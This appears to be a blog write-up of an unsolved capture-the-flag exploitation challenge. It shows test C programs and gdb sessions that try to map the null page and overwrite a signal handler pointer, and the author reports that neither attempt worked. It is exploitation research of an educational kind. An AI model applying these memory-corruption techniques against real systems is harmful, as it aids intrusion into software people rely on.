#include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/syscall.h> #include <sys/mman.h> int map_null_page(void) { void* mem = (void*)-1; size_t length = 100; mem = mmap (NULL, length, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, 0); if (mem != NULL) { printf("failed

"); fflush(0); perror("[-] ERROR: mmap"); return 1; } } int main (void) { map_null_page(); printf("made it"); }

Setting a breakpoint at the end of this test program, sure enough 0x00 was allocated. Unfortunately, to make use of this memory it has to be mapped. Because mmap can do it, theoretically so can malloc. But if we just try to write to 0 the program will segfault.

Program received signal SIGSEGV, Segmentation fault. 0x08048531 in ?? () (gdb) x/i $eip => 0x8048531: mov %cl,(%eax). (gdb) info registers eax 0x0 0 ecx 0xbfffd842 -1073751998 ...

I played around with mallocing large sizes (~3GB). This produces out of memory return values (malloc returns 0 when oom), but it would still segfault when I tried to write to 0.

So stepping back, I was trying to figure out how signal kept track of the signal handler. If it’s stored in writable memory, I have an arbitrary overwrite so I could just overwrite that and win. This looked even more promising when I looked at the man 7 signal page:

A process can change the disposition of a signal using sigaction(2) or signal(2). (The latter is less portable when establishing a signal handler; see signal(2) for details.) Using these system calls, a process can elect one of the following behaviors to occur on delivery of the signal: perform the default action; ignore the signal; or catch the signal with a signal handler, a programmer-defined function that is automatically invoked when the signal is delivered. (By default, the signal handler is invoked on the normal process stack. It is possible to arrange that the signal handler uses an alternate stack; see sigaltstack(2) for a discussion of how to do this and when it might be useful.)

This would be great! If the signal function is stored on the process stack, I could overwrite that and win! I compiled a test program

#include <string.h> #include <unistd.h> #include <signal.h> int main (void) { int a; signal(0xA, 0x47474747); while(1) { } }

I attached to the program and searched for 0x47474747, then replaced these with 0x48484848. The idea is if this information really is just in the normal stack then we could overwrite it, and then we win. I was hoping for a segfault at 0x48484848 here (not 0x47474747)

(gdb) list main 2 #include <unistd.h> 3 #include <signal.h> 4 5 6 7 int main (void) { 8 int a; 9 signal(0xA, 0x47474747); 10 printf("made it"); 11 while(1) { (gdb) break 10 Breakpoint 1 at 0x8048431: file signal.c, line 10. (gdb) run Starting program: /root/Desktop/defcon/10/test/signal Breakpoint 1, main () at signal.c:10 10 printf("made it"); (gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) n Program not restarted. (gdb) shell ps PID TTY TIME CMD 3125 pts/0 00:00:00 bash 3280 pts/0 00:08:01 signal 3379 pts/0 00:00:00 gdb 3382 pts/0 00:00:00 signal 3387 pts/0 00:00:00 ps (gdb) shell cat /proc/3382/maps ... bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] (gdb) find /w 0xbffdf000, 0xbfffffff, 0x47474747 0xbffff248 0xbffff380 0xbffff424 3 patterns found. (gdb) set {int}0xbffff248=0x48484848 (gdb) set {int}0xbffff380=0x48484848 (gdb) set {int}0xbffff424=0x48484848 (gdb) find /w 0xbffdf000, 0xbfffffff, 0x47474747 Pattern not found. (gdb) find /w 0xbffdf000, 0xbfffffff, 0x48484848 0xbffff248 0xbffff380 0xbffff424 3 patterns found. (gdb) continue Continuing. Program received signal SIGUSR1, User defined signal 1. main () at signal.c:12 12 } (gdb) stepi 0x47474747 in ?? () (gdp) print $eip $1 = (void (*)()) 0x47474747

Boo, so that also didn’t work. I also tried memfetch with no additional stuff 0x47474747 stored in writable memory.

In summary, I’ve tried to write directly to address 0xA, and I’ve tried to overwrite the signal handler, but neither seems to have worked. So with this problem I’m stuck. I’m tempted to download Debian 2004 and give it another try. If I do figure it out there (or if I hear any feedback from people who figure out something I missed), I’ll update this post with the solution.